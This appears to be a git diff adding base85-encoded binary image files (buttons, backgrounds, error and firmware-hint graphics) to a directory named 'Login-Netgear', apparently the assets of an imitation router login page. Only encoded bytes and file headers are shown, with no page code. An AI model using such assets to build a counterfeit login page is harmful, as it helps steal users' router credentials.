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

0?SUNdoZgWpEA-xPFB#%>CUHuhvd zznrxxB5CMsiQnp<-}*wa#B50z&g?BI%Ts6jE9(w)du==dvn`uSVsFc5V?+zCZ_3#H z>uT6m<+`ALPPws4)lqGUCLIR0zs|L$E4LO!Dy7QiU~0||vYL#Y0fa-;^pnXT>(NYb z8g?7xr3+Mt+%;fgLC&;6?No6#1YD!(>GgI`g*eCjHFl>}(BN(m`Mv|XX6LoYK|{vj z2gim@!Es(g#>;KFuq{&^dMY(t#)%Nd+@32petlRxC0H^=P>O?C&i6+wPx;{YY)arN~`SPjAM>3dxfO z_zUYmIwPRZ@eg4l*#;MBiH9I^ud literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/basic-green-button.gif b/sites/Login-Netgear/img/basic-green-button.gif new file mode 100644 index 0000000000000000000000000000000000000000..ae12fff0dad1f3a77843d754e58efaccb7cab34a GIT binary patch literal 236 zcmZ?wbh9u|Jj@`;@R)(2WS7jIYg48i3t4imq~(y!okv%u9E(|Vsio(T%adnM7%+ei zNCc#pfn}k=$(e@?6kea*{XapYFC}wc#x6-`hrO2@SCr)5uUN-?gwcP-+yW0BDOdwFa{lB5H zskx=Kt-Y^O%{&UJ`Y-l*x%pt55b7I57!|ejfUUNJ)E^=*SG0swnXmB{*FX!AOqq#}tlYhONFHs{%~ zDM1VP7KltKx}}-5c=DoET1!@L+O=xQ`fdNYR`SFtV`(20fJl5@bf3JGoUWWD3ANDhe`+PX~Ol^(cA#UwE?+@&K zw)9#|{@c>) z36p)kUQcPyExVa9f34Zghl0;<-6~kFTYjhH{M(Y-l2_Mmzgzu%_Sx^(D$>7fzu&^2 zSMjhhyX42CR`YW^uIKJvJ8{w!^~jwJ)9v5=cs7e!?q?(uYr@YLGbY!mJzWt!&+6Ig z>F0L6+OS`5_vFfV~yHl>e_v?dp{eM56Owa%K^TqP@|9-vM{{G+Z56AWY|M_w~-~JaP HBZD;nC{PaC literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/box-header-background.gif b/sites/Login-Netgear/img/box-header-background.gif new file mode 100644 index 0000000000000000000000000000000000000000..26fe58199345c3c53222e5cfd2fb52b308e3ddb5 GIT binary patch literal 1247 zcmV<51R(oINk%w1VKD(50J8u900030|Nm4{R7^@tTv}X1MMF$ZOk7@ER8~~~|Nj60 z00000000000000000000A^8LW000R9EC2ui05Jg^000F4Fv)bPy*TU5yZ>M)j$~<` zXsV*qbP#V0&vH%Qc8>3Q&;Pz4a40MikH#c&scbTd6M}R~ty-_xtai)odcWYXcuX#v z&*-Tn&2GEj@VIMDiiI0qsj**m;mXes2nU|WK zoS&Pao|t-geJ^~bs;R7~uB)%Du(PtYvA49iwz<5!zPiA@!N0=A#K*(Q#>#n8dCz*# z($Un@*45b8+S%OO-reBe;^E}u=H=+;>gnu$(a-RE^6vEU_4D@m`1|+$`u_a>2@FUO zpuvF$3nE;ouwlZ73?cH{6S1O0ixM+p+<390Mvol-KZ*=V5}%)w0{o<0iC`tmmn~z$ zoGG&=&6_rJ;@qjTC(oZgg905Yv?$S|Mw22<>5l2ir%fOt?Z{L4jy7unezl--yK74ub=*OF1 zpZ>i1_UzxwcTeAXa|58G=ijftKmY&!1qk5(fC3gs;DH7vh~R<>Hpt+E4n_#!gc4S` zA7~ePmLY!nVc4ODA9CoSh#-Op zBl;NRjTjcmB9TZQsiccZGP&f5O+xvkkxo`ArIl1(sb!X2Y8Yjg_^dji_0pM%m_D4c>ON~ofSGK%P;kTx2r zq5=$HfTaUedg-Q_V#=weo_5OVrJ#NqDygT68fvMSvWn`cs+tO`tFgA4Dy_KQs_U$~ zuG*`tzVa$;u*3putgXWy`>LjuVw&pzv#?$Y?X;YxDlM$m4nS?F+g6KhwAy~#ZMfrR zJMOjIf_pBx-j=JbxbQmrZo1EEYwxDg+Uu;o`Rcpxz5W91Z@>HoOt8QO2mCL&3Lkth z!wDNKal;c=jPSq~M|`oy5M%6d#tUy8a>pbCT&=$aJgo4_EVu0P%P_|*^UO5YZ1c@H z=dAP2E~jj-&nXu$K+pyRJ#^7X3r)1qOBa3g(oZKHHPcBu-L%qGV-5AyQ(K*N*IG-> z_1IsNy>;1WpRKmoX|ugH)o*(pci3=?Jv6yKAAPsp+6vA0-gyI_uit?aK6u}U|84ls zh%>Hu<9$OexZ{OOzIf!1XI{CC=813adFP;09y;cqi*7pUqfd_d-Ac3Wy3(z~9{bP* z%wD_gwZEQw?7OqxyX?B-E`0FB^FF-s#ruA|^2q~_{PWC1?|k&sPj5Z#%U^%{>)gXm z`}e!!t~>bP^G<&FzMt>?`sV+>e);LUum1e<*WdpA@#D{a{`~LnKm7kgUjW}HKmZz0 Jfa{9@06X4?uoD0P literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/cancel_icon.gif b/sites/Login-Netgear/img/cancel_icon.gif new file mode 100644 index 0000000000000000000000000000000000000000..fe9b8c8d1edd0ba355adfb28273a8ccc19610461 GIT binary patch literal 84 zcmZ?wbhEHbTC07p{|BLDyZ literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/error.png b/sites/Login-Netgear/img/error.png new file mode 100644 index 0000000000000000000000000000000000000000..6e23ace90dd6c1988f68f6a80f704850ee066ff2 GIT binary patch literal 3865 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 Af&c&j literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/firmware-hint-background.gif b/sites/Login-Netgear/img/firmware-hint-background.gif new file mode 100644 index 0000000000000000000000000000000000000000..471d9f376195decd5c76166b93632a9c33121a3b GIT binary patch literal 1616 zcmZ?wbhEHbtYH*k_|5uFOy&Yt{b_T;a#rhS_;>C2qSU*}Bu zHfQSh+0%Z^0ix+Y=TG}RYv!-nGk?#T^?Ua0KXYdMnltnFoLNBhXU^=u^Jo2^Kj;7a zdH)wp`@3-N{{{2@gKZckMnhnbhJfNv7Dfh!{|q`H_kr>R1IK@c|C};E@|#(BIE1xg zPHb3sxLrWmYmUdpMMt|OjI-{X*tqz3zk;&Y4TlX&9C(HK+G0*_T6%iALGr0Np2dq= zIHi2pJ_sltW@eQTN(cyOY;5LoXjR*=;lROWRNmcbn)%Z7$uo?rijx-0S=NUNgCAOXP>| zZ9A;?Z+C-U^47k$?`+SM6h)j4H{9HMM(pE_^Xbm_Wn*`gJilBVY#--au{q^Nhk6Bv zLjiLew`nuCyx*Q3A0L}GP8RWaaF~T{=IveIx~(?6xHa)%RbTGhZ#lPb73%*Fv;9$B zcDYOY^tR}@&p)rfbUdG@KUcrz)Tf*7>bdi+zMsCg)BJ8(?bGWL*$)=B->+g%GG9Mcan6GkZ-;|^ZSF&yBCkkr~eb}NNV_c(BnbH z=eO6R>djYOU)0BWFI=`k?_Gv+3)?acg?^875h)W4AFYsYdhhyDd7{Ivsf?XmHXEL{ zC$wokn~@?n{a{s)*$Sn}I!T^SySV@TP@7%2>!re6=SkC5=Tttkcs?=r)z9a-jlU|@ z7nE{UX)NrN+VyO@x8wKJnNz~DUM`)Uc3`Sgx|r3|MGq@iJ)6|=?dQu`OaCp`Sk*Jj zDyw(xs{gMvR&G3{p}vA^*D94Y3(cyu*6w}fwK$H)r^}HoR;v5urZZ-**Z4>}xQlhF z{rdH)d+V~D+S?AE`lY>oXI1sui8teRYHfIUD@%R#-Bs0kJDj?9>+XD;Wv#RK<*nC? zrt=6ceY2T?UFX9AK1J>O_N)a72bg{Doyyzy>>Stnsh;<^Q~O2jBUO+2z3W`QM=bx& zhg~m@y4BruUeh6fV|DXF8?je!Nk%w1VPpnV0OJ4vL`FnpVq{cSRBUc+OioN(UR-o`bWBQ2Y-(&=T3mE; zbN~SV000000000000000A^8LW000XBEC2ui0AvPJ000F3aLHw=y*TU5yZ>M)j$~<` zXsWJk>%MR-&vb3yc&_h!@BhG{a7Zi~kI1BQIh#xr(5Q4uty-_xtai)odcWYXcuX#v z&*-#z&2GEj@VIs;jK6uCK7Mva__cwzs&sy1Tr+zQ4e(5(ojr2*$|8$;Zmg%+Jfw z&eG7+*45b5+Sl9J+~3~e-Q(co;^pY)>gMd}?d$IG@bmBW^7i!i`uY6${`>#>0URi> zV8DX}5gJU$aG^tm5F18(D6t~NixV?i)QEAT$BzCWIg0$)P1%9~C{wCj$+D%(moQ_> zoJq5$&6_xL>fFh*r_Y~2g9;r=w5ZXeNRujE%CxD|r%H5 z!ipVBwyfE+Xw#})%eJlCw{YXiolCc_-Me`6>fOt?uiw9b0}CEZxUk{Fh!ZPb%($`R z$B-jSo=my2<;#Z?XfB|+v**vCLyI0wy0q!js8g$6&APSg*RW&Do=v;9?c2C>>)y?~ zx9{J;g9{%{ytwh>$dfBy&b+zv=g^}||1F@p_3PNPYv0bjyZ7(l!;2qJzP$PK=+moT z&%V9;_weJ(pHIKO{rmXy>)+46zyJRL2L34EfCLt3;DHDxsNjP85#Zp15Jo8BgcMe2 z;e{AxsNsejcIe@UAciR7h$NP1;)y7xsN#w&w&>!EFvck3j5OA0!EMspOJOHtFP(P(~@`lvGw}<&{`wspXbjcIoApV1_B?m}Hh|=9y@w zspgt&w&~`ZaK7|%vs_CYjcIxS;poS{ysHB!^>Zz!vs_Lq&w(9Duu*NFuthCl@>!}9-kZZ2G z0?O;Jz6RUtu)q>4Y_Z55tE{oi{wCY(vd%^e?X=HUE3LKEUaM`k++yqPw%>LO?zrNX z8}7N}qHAut?5^vsy70Ce@4NEWOYgn&=4-FM`0nd(zX0yeIEVu0P%P^JdC$03-OgHWH(@;k(_0&kuylbylXN~pNT6fL$*ItJW z_Sj;VP4?Mlr;Ya7YPZey+iu4V_uO*VP50e)=Z*K?diTxu-+l)U_~3#UPWa)5Cyw~y ziZ{;qLn=9+iT`RATnPW9-dmu~v$sHd*_>a4f!`p(6IE_>*+ z*G~KGw?z;ER`|rL75B%`L7f<~0#wU;b^2#^Q{PWI7FZ%1$S8x6G*k`Z(_S|>x zy{%Up8-B(Zmw)m3p$JE4w3(6cgeXj*3RlR& z7P^px8GNA(XGp^u+VF-r%wf$;XhI$O@P|MQq7a8jL?IqYP(3W75|_xtCOYwnP%NF* zqDaLmTJefl%%c7lIhMgBZt;s?45JvwNX9C9v5aU;qZ-%9#x`>Bh{AHC9Op>KI@e#H zdh(N?45cVv2ggQ^@|37dr7BmsLsq)-m9UJZEIS5A4bJkGxXh(4cj>53^75C!45lzu zS;}D=^O(p?<|0k0%w{_Cna~VlEtwh3YFhJ}*tDT9v&qeFdh?qiEG9U|NzQVblY7)W zr#jck&UWUplJ1PBJm*PIn{Bh6_{^t1_X)n(@$;Vm4X8jrmCk`0^q>e$sIK6t(1tqn zq4>NfME)mA(TaLgoEFWfMmO5bf^zhuAPp%o87k6}n)IZblqgD9%F>n=5~D7SsZ3`| zM~~9Oq?_^{G&eYV~+3)v8+cs;m<# zR=3L4t{x4kUJa{Q#|k^Ln)R$`r5RPz%GS2Jbz@q6t6b+w*HD4Au6WI>UMuC)z54a9 ze_bnJ2TNGM#M)j$~<` zXsWJk>%MR-&vb3yc&^9Or2N33a7Zi~kI1BQ$!t2G(5Q4uty-_xtai)odcWYXcuf9I z2I#bU&2GEj@VIg(+7?(gvN^7Hid_V@Vt`uqI*1^)m83LHqV zpuvL(6DnNDu%W|;5F<*QNU@^Dix@L%+{m$`$B+IXLy8 zoJq5$&6_xL>fFh*r_Y~2g9;r=w5ZXeNRujE%CxCdr2?W#ol3Q;)vH*uYTe4UtJkk! z!-^eCwyfE+Xw#})%eJlCw{YXiolCc_-MR$w>fOt?uiw9b0}CEZxUk{Fh!ZPb%($`R z$B-jSo=my2<;$2eYu?Pcv**qSLW>?vy0q!js8g$6&APSg*RW&Do=v;9?c2C>>)y?~ zx9{J;g9{%{ytwh=0FoNUH1ZyYR*<@4QOdNbkM)=Bw|%{3^$8zW@g;@W2FTYOlQoC#>+o3^$x( zXv-n&@Wd2XZ1Kg+g^BUT9Cz$7zwAo<@yH~XZ1ScepRDrAEVm3L#QM1`^UO5Y{2sz7 z+pP1>Joo%uu|5Ya^w2uzO!U!6C%rMu?JDi`(@+bHbJSEYZT8t{gPL*LY`5+9j#a4d8Fz2qvF8jQp z&u;tezM78v?!4!|dhfsoPj<}07jL|lwI8qi@<-~<{PWN^|9kY*SI;Bt)@QGMd&zI_ z{rB5B5B~V%hd+J!=%)`I_UgCqe$(&A-@f?r*Z=+H_UE5H`}+3}efRzgAn)iWzyb;n ze+Eq807Ip~2JQ}k4vgUE2q?h{o(_Q)%-{qWsKE|;4uT#G;ovAJ!V)G9gCp=|Rhr=F@tp^bR06Sv9?=t`Z literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/genie_copy_wifi_setup.gif b/sites/Login-Netgear/img/genie_copy_wifi_setup.gif new file mode 100644 index 0000000000000000000000000000000000000000..890d2ed38941a3c6a8d1de9caecb89a6a21f0436 GIT binary patch literal 59365 zcmWie2T;>L8^?d$g8~K0US*dhWeF-^*<}c23Wy3=wlW=nsBI~w46#fBQOnW_hy@%) zQOi=6il~T+T9)AY%Mwx4zP`E3<;f-YTymEumwcYDyN8?Yw#Y@u8t8`@5L6Ci1{Q=w z9T2aJPe<2eWS@9D^r7qS-O;v*dk-Esl0ExJMsipzBa5w@e?R{D@|S9!Ils7w!OHA# za-I4-|7hX`P~rOPll9+k>`%YGznq%-`|a4@MUPBoE^*s-6)oL^M~+sUI|oA`OC#&o z|E>gt?pgc(-O|n}A~s(9W2B+E8E;@X`|$J7^6T2h#?#|hi^|Kr>yKW&dGp4XC*mK1 zSEEy@1ZLId^kV2R5@BYmH`RwTzSX#yV`&J$}v*W{y&qoYPf6Xg?p9NBN3vTrHP>nNdjy5T( z;y(_rN?@eEyj)9iInlxvG-Y?Cs)29j2~{nRo)!d+zbl0^qXC z*E?vp?Um$5kDf*urR$stIiy=;Q5F4r7CA6Jw*DSev8UmXVNs@K>D=9Ktl~2jb#=V9 zYmK>A6LhjcTr$--hpKbjznzXKr~G-Vht2m$Qe#sOC1G(&3aV;py3Eeg_vG{a6)S=x zt&;@xJ(1e!YjYB(W9pd?xyghqUPn9K?Cknm31-O|@dSof#Xn|px;?XZ_R&nz))Q21 z<{^V}s%qBS{MQIVd`xO;g7INA7PE&yTUt~+rhVqhOpkA5q z^4M?J(6FsLcT$ZDzkimH$7@1qq(JK^YnT1;I*0X%W_ngfjvD7mRd`-J(&6mmDT9$c zm(a{fxgf2Ca}EtUmsfx8ZTGH_z$_hBv{s3DQ!M^h-vd}I_MfSwBrA!M*xdYQ{y0Qn zZHhM!5g0$j;zK6%coT+LyefVVjVI8>Z-7nl5AnZw|8IW&*!(4a1KZsEu_<0z5sR0_ zKa)+^o9}^teevdxctYNb04WCkpw!5GZch$U&M174U)Pt1)$yz)x7QC8Dp@8>4YoHtJcD;GQ1j?$94aFO zG=~p$G>x1k9vH6m=)CmkoNfB2siDrxPcD*j(CVJoc~2Y2Wk!34uU~m~nbP2S-t$KD zi9X{`MtL^QbjMYzXM{Zqvf1d`C z(C`-Ur~BA)#`{JE?XwR#I$jsNyE^7asw@-Vjdpb|JmESQYV5jw{o^xUK+C>Iw{LuY z$v-f1Vb`6TU*AAVem=Xq2cJA8%#qOa=@u-{4wf13f85=*x-iz@bOK(Kfix+|GroZzzHH6R3T18 zN9yxL49wO=Q4ZFPFwMjT$4%!d#qg$CYDX8R^YARf3|qG{ZYG~_i8oVVa&vK}kobTw zTVyp6H+$Ol18=t2Zhdj~3<+*H$8k}JpDQ8jUzscQ-uiK_jN)cEUmh5I<(=i-U2Brb zgSxBdDk5%fs3wPat`(soFa6Z6Jost7=xoYS!`Rw=e?K(UWORglIE%Gk^*);kPnfxI zr{X8JhM}J|V*@)fP(L?Hs+S!x^}emQI)Hw0Y17zbkZkmy;HLSkfm8NYiEEzsySV?|Yb(I_ zf?nM_o_y&3iP`_!A?AtSg!(tmeYITYd79pDZw_PZ++z`5i$Yt@EmAqPu70VDoWCf<+CsrloAp+HIVD57I{5;+%lq-nA%JbqroE%vk$zXh`@3Bvx-2l zGXl>g4fJ{(@86^0qImb4g?;QU)vMqe=_CZkoKAh%|NtL2jBj1)jf9N*ub@|*q(W=#r-Y^0ea3WmGppBTYfMt-DM2OUFSA9|a&kyn!TYLWt+nHrBu712WBk9U5 zJp)U`sO+dor)Z`JWehFL)e?O6`R$@7E&03UsuBO|55=w_lLsez)#&JBgZS;!@85l2 zxn+T~@YL!I|JGwd;t1t$KUDINU);61@pi*|LYh{0CJFqLweq_i4#)LDwhcn+IhPb; z=Cvebkq;1dB04-!((-*hWht;!(1G(zN?6_mPzmcP=K9K)~LT>{DDNPt|GtAf}L zfS`*!%!*gsHL@d+sG=pPhOHL1jo;f(ZO#1S2eiaZnuX+Z0oy6^R8bb@o#10Mk@#bIuecHjW)W%)5;XH>sy|7|Z8WnL3|q`4 zc8?Xpk?q(`TN>&U;$e40zVeo(T)XV$e!{Rbn8nkM%;@9Ut{5n@ymxEgt=dA|+Mzu} zeqd8t0)R3iP}>%JjO_RfT&WgRrAo99tH{79XrH0j)j@w}SlgOjDvOSaJc0Ib&Nmzj zy4gMNa<2j-R~}JwcM)VX4oFx`r7GY>A{Y(GLJIE0i|F~#b 